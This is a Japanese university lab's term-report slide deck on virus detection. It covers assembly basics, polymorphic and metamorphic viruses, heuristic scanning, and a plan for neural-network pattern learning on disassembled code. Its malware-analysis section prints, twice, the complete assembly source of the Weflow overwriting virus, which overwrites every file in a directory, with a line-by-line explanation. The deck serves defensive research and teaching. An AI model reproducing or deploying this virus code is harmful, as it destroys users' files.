スライド 1

2004 Fall. Term Report
Immune Project
Project Menber
D1 Kensuke Naoe
<[email protected]>
B4 Hidekazu Tanaka <[email protected]>
B3 Hitoshi Nakai
<[email protected]
B3 Takayouki Hotta
<[email protected]>
B2 Kjiro Shimoe
<[email protected]
Copyright © 2005 INAS Lab.
目次
• Immune Projectの目的(堀田)
• アセンブラの基礎(下江)
• アセンブラでのウイルス解析(堀田)
• ウイルス検出方法の調査(中井)
• 論文発表(田中)
• 展望(田中)
• 謝辞(中井)
• 質疑応答(全員)
Copyright © 2005 INAS Lab.
Immune Projectの目的
•
ウイルスの巧妙化
– ステルス型
– ポリモフィック型
– メタモフィック型
•
従来の検出手法
– パターンマッチング
– ヒューリスティック手法
•
新しい手法の提案
– アセンブラレベルでの解析
– パターン学習による解析
Copyright © 2005 INAS Lab.
アセンブラの基礎
•
•
•
•
•
アセンブラ言語とは?
アセンブリ言語の表し方
マシン語命令群その1
その2
その3
Copyright © 2005 INAS Lab.
アセンブラとは?
• アセンブリ言語はプログラミング言語の一種
– コンピューターが唯一理解できるのはマシン語だが、
そのマシン語を人間に理解できるようにしたものがプ
ログラミング言語。
• アセンブリ言語が他の言語と違う点
– javaやc言語など他の言語はマシン語と一対一に対応し
ていないが、アセンブリ言語はマシン語と一対一に対
応している。
• キーワード
– ニーモニック
– オペコード
– オペランド
Copyright © 2005 INAS Lab.
アセンブリ言語の表し方
• ニーモニック
– マシン語には一つ一つ記号が割り振られていて、その
記号のことをニーモニックと呼ぶ。ex) mov al 02h
– ニーモニックはオペコードとオペランドと呼ばれる二
つの部分に分けることができる。
• オペコード(主命令)
– データ転送やジャンプなどの命令を下す部分。
– 上記の例ではmov
がそれにあたる。
• オペランド(対象となる相手、条件、パラメータ)
– レジスタやアドレスなど命令の対象となる部分。上記
の例ではal 02hがそれにあたり、このオペランドによっ
て対応するマシン語が変わる。
Copyright © 2005 INAS Lab.
マシン語命令その1
• データ転送命令
– レジスタとメモリとの間でデータをやりとりのための
命令
– 例 mov EAX 7E9675A1h (EAXレジスタに
7E9675A1hをロード)
– レジスタ→メモリのやりとりを「ストア」、メモリ→
レジスタのやりとりを「ロード」という。
• 算術演算命令
– 四則演算や比較などをするための命令。結果がレジス
タやメモリに転送される。さらに結果の状態(0や正
負など)がフラグレジスタにセットされる。
– 例) add ax 0020h axの内容に0020hを加える
inc ax
axの値をインクリメントする
cmp eax 0030h eaxの内容と0030hを比較して
結果をフラグレジスタにセット
Copyright © 2005 INAS Lab.
マシン語命令その2
• ジャンプ命令
– プログラムの流れを変えるための命令。
– ジャンプ無条件と条件付きジャンプの2種類ある。
• 無条件ジャンプ
– jmp アドレス指定 の形で表される。
実行されるとオフセットアドレスが特定のレジスタに
ロードされ、ジャンプされる。
• 条件付きジャンプ
– フラグレジスタの値を判定し、その結果によってジャ
ンプの有無を決める。
• je アドレス指定 : ゼロフラグの値が1ならば指定した
アドレスにジャンプ
• cmp AX 005ah
ja アドレス指定: 結果が大きければ指定したアドレスに
ジャンプ
Copyright © 2005 INAS Lab.
その他のマシン語命令
• サブルーチンのコール・リターン
– call
サブルーチン名
• スタックのプッシュ・ポップ
– push eax()
• 論理演算命令
– or al 20h(alレジスタの内容とデータ20hのorをとる)
• シフト・ローテート命令
– shl bl 1(blの内容を左に1つシフトする)
Copyright © 2005 INAS Lab.
アセンブラでのウイルス解析
• Weflow.asm
– 1993年のVirus
– TRIDENT OVERWRITING VIRUSがBaseになっている
• OverWriting
– 1992年のVirus
– ウイルスと感染するファイルが実行されるたびに、このウイ
ルスはホストファイルの最初64バイトをOver Writeすること
によってワーキング・ディレクトリの.comファイルすべて
を感染させる
Copyright © 2005 INAS Lab.
Weflow.asm (code)
MAIN:
MOV AH,4EH
NOTSOCOOL:
LEA DX,FF
INT 21H
JNC COOL
RET
COOL:
MOV AX,3D02H
MOV DX,9EH
INT 21H
XCHG AX,BX
MOV CL,VLEN
MOV AH,40H
INT 21H
MOV AH,3EH
INT 21H
MOV AH,4FH
JMP NOTSOCOOL
FF
DB '*.*',0
DB 'WEFLOW93'
VLEN
EQU $-MAIN
Copyright © 2005 INAS Lab.
Weflow.asm (解説:MAIN)
MOV AH,4EH
– ahレジスタに4ehの指す内容を転送
具体的にはahレジスタに対して初回ファイル検索を行う
ちなみに、この結果はCF(Cflag)の返り値を与える
CF = 0:成功
CF = 1:エラー
Copyright © 2005 INAS Lab.
Weflow.asm (解説:NOTSOCOOL)
LEA DX,FF
INT 21H
– dxレジスタに下で定義したFFのアドレスを転送
このときAHの値は4Eもしくは4Fであれば、“初回ファイ
ル検索”or“次回ファイル検索”で4Eの時のみ、DX=ファイ
ル名を含む文字列ポインタを参照、4Fでは参照しない。
検索結果はディスク転送アドレスに格納される
成功CF=0 失敗CF=1
JNC COOL
RET
– Cflagが降りているときに分岐する(降りているときは
COOLに
また、“RET”で実行していたものから戻ってくる(COOL
から戻ってくる。
さらに、ここでCF=1ならばプログラムは終了する
Copyright © 2005 INAS Lab.
Weflow.asm (解説:COOL.1)
MOV AX,3D02H
MOV DX,9EH
INT 21H
– AXレジスタを書き出し・読み込み双方対応できるよう
オープンする。
DXレジスタに9eが指す内容を転送
XCHG AX,BX
MOV CL,VLEN
MOV AH,40H
INT 21H
– AXレジスタとBXレジスタの内容を入れ替える
CLにVLENの値を入れる(VLENは下で定義している)
ahレジスタに書き込む
Copyright © 2005 INAS Lab.
Weflow.asm (解説:COOL.2)
MOV AH,3EH
INT 21H
– ahレジスタで開いていたファイルをクローズする
MOV AH,4FH
– 次回ファイル検索を行う
JMP NOTSOCOOL
– 無条件でNOTSOCOOL(最初に規定した文字列ポインタ)
の先に飛ぶ
Copyright © 2005 INAS Lab.
Weflow.asm (解説:FF・VLEN)
DB '*.*',0
DB 'WEFLOW93‘
– 文字列をセットする
EQU $-MAIN
– VLENにMAINの大きさを入れるもの
Copyright © 2005 INAS Lab.
Weflow.asm (code)
MAIN:
MOV AH,4EH
NOTSOCOOL:
LEA DX,FF
INT 21H
JNC COOL
RET
COOL:
MOV AX,3D02H
MOV DX,9EH
INT 21H
XCHG AX,BX
MOV CL,VLEN
MOV AH,40H
INT 21H
MOV AH,3EH
INT 21H
MOV AH,4FH
JMP NOTSOCOOL
FF
DB '*.*',0
DB 'WEFLOW93'
VLEN
EQU $-MAIN
Copyright © 2005 INAS Lab.
ウイルスの巧妙化
•
ウイルスの巧妙化
– ステルス型
– ポリモフィック型
• プログラムコードを暗号化
• 暗号化鍵は感染の都度に変化
• 暗号化/複合化エンジン
– メタモフィック型
• 感染するたびに自分自身のコードを書き換える
• 様々な手法での隠匿の試み
Copyright © 2005 INAS Lab.
従来のウィルスの検出
•
従来のウイルスの検出
– パターンマッチング
• 文字列
• パターンの発生順序
• 特定のパターン同士の距離
⇒対象となるウイルスのパターン定義ファイルの所持が前提
また、時間がかかる。
– ヒューリスティック手法
• 問題をすばやく解決するための手法
• 大まかな予想からあたりをつけて検索する手法
• 動的ヒューリスティックと静的ヒューリスティックがある
Copyright © 2005 INAS Lab.
ヒューリスティック手法
•
静的ヒューリスティック
– パターンのデータベース
– ウィルスの複合化のルーチンを認識
•
動的ヒューリスティック
– 仮想空間上でプログラムを動かす
Copyright © 2005 INAS Lab.
ヒューリスティック手法
Copyright © 2005 INAS Lab.
ヒューリスティック手法の問題点
•
問題をすばやく解決するための手法
⇒検索部位とウイルスの存在する部位が違えば
ウイルスが発見できない
⇒完璧ではない
Copyright © 2005 INAS Lab.
アセンブラレベルでの解析
• ウィルスのコードを静的に逆アセンブル
→従来のヒューリスティックパターンに、さらに細かい
パターンを定義することができる
Copyright © 2005 INAS Lab.
動的ヒューリスティック
Unknown Virus
ヒューリスティックスキャンのた
めのルール群データベース
静的ヒューリスティック
mov dword_3,6E72654Bh
mov dword_4,32336C65h
様々な角度から挙動や命令群、
アルゴリズムなどを比較
挙動のパターン
アセンブラ命令パターン
アルゴリズムのパター
ン
mov dword_5,0h
push offset dword_3
call ds:[GetModuleHandleA]
Copyright © 2005 INAS Lab.
パターン学習による検出
• ニューラルネットワークを用いたパターン検出
• 学習結果に基づく分類判定
→さらに高い確率で未知ウィルスであると特定すること
ができる
Copyright © 2005 INAS Lab.
動的ヒューリスティック
Unknown Virus
ヒューリスティックスキャンのた
めのルール群データベース
静的ヒューリスティック
mov dword_3,6E72654Bh
mov dword_4,32336C65h
新しい挙動パターンやアルゴリズ
ム、命令の順序などがあれば
データベースにパターンを学習さ
せる
挙動のパターン
アセンブラ命令パターン
アルゴリズムのパター
ン
mov dword_5,0h
push offset dword_3
call ds:[GetModuleHandleA]
Copyright © 2005 INAS Lab.
まとめ
• アセンブリ言語に逆アセンブルしたコードからパター
ン抽出し、学習
→検出率の向上と誤検出・誤警報の減少
Copyright © 2005 INAS Lab.
今後の展望
• 情報処理学会全国大会発表に向けて実装
Copyright © 2005 INAS Lab.